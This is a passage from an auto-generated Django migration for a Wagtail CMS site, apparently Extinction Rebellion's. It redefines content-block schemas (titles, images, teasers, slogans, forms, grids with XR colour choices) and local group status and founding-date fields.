("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"form",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"form_page",
wagtail.core.blocks.PageChooserBlock(
[
"xr_newsletter.EmailFormPage",
"xr_newsletter.NewsletterFormPage",
]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"grid",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"items",
wagtail.core.blocks.StreamBlock(
[
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"page",
wagtail.core.blocks.PageChooserBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"image",
wagtail.images.blocks.ImageChooserBlock(),
),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"video",
wagtail.embeds.blocks.EmbedBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
]
),
),
]
),
),
(
"columns",
wagtail.core.blocks.ChoiceBlock(
choices=[(2, "2"), (3, "3"), (4, "4")]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
]
),
),
],
blank=True,
),
),
migrations.AlterField(
model_name="localgroup",
name="founding_date",
field=models.DateField(
blank=True, null=True, verbose_name="Gründungsdatum"
),
),
migrations.AlterField(
model_name="localgroup",
name="status",
field=models.CharField(
choices=[
("active", "aktiv"),
("in_foundation", "im Aufbau"),
("looking_for_people", "Rebell*innen gesucht"),
("idle", "inaktiv"),
],
default="active",
max_length=50,
verbose_name="Status",
),
),
migrations.AlterField(
model_name="localgrouplistpage",
name="content",
field=wagtail.core.fields.StreamField(
[
(
"title",
wagtail.core.blocks.StructBlock(
[
("title", wagtail.core.blocks.CharBlock()),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("left", "Left"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"text",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.RichTextBlock(
features=[
"h2",
"h3",
"h4",
"bold",
"italic",
"ul",
"ol",
"hr",
"link",
"document-link",
],
help_text="Simple richtext with basic formatting. Use links in order to connect related pages frequently. Ordered lists are rendered with big numbers.For images and videos use the image and video blocks.",
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("image", wagtail.images.blocks.ImageChooserBlock()),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("page", wagtail.core.blocks.PageChooserBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("video", wagtail.embeds.blocks.EmbedBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"form",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"form_page",
wagtail.core.blocks.PageChooserBlock(
[
"xr_newsletter.EmailFormPage",
"xr_newsletter.NewsletterFormPage",
]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"grid",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"items",
wagtail.core.blocks.StreamBlock(
[
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"page",
wagtail.core.blocks.PageChooserBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"image",
wagtail.images.blocks.ImageChooserBlock(),
),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"video",
wagtail.embeds.blocks.EmbedBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
]
),
),
]
),
),
(
"columns",
wagtail.core.blocks.ChoiceBlock(
choices=[(2, "2"), (3, "3"), (4, "4")]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
]
),
),
],
blank=True,
),
),
migrations.AlterField(
model_name="localgrouppage",
name="content",
field=wagtail.core.fields.StreamField(
[
(
"title",
wagtail.core.blocks.StructBlock(
[
("title", wagtail.core.blocks.CharBlock()),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("left", "Left"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"text",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.RichTextBlock(
features=[
"h2",
"h3",
"h4",
"bold",
"italic",
"ul",
"ol",
"hr",
"link",
"document-link",
],
help_text="Simple richtext with basic formatting. Use links in order to connect related pages frequently. Ordered lists are rendered with big numbers.For images and videos use the image and video blocks.",
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("image", wagtail.images.blocks.ImageChooserBlock()),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("page", wagtail.core.blocks.PageChooserBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("video", wagtail.embeds.blocks.EmbedBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"form",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"form_page",
wagtail.core.blocks.PageChooserBlock(
[
"xr_newsletter.EmailFormPage",
"xr_newsletter.NewsletterFormPage",
]
),
),
(
"font_color",
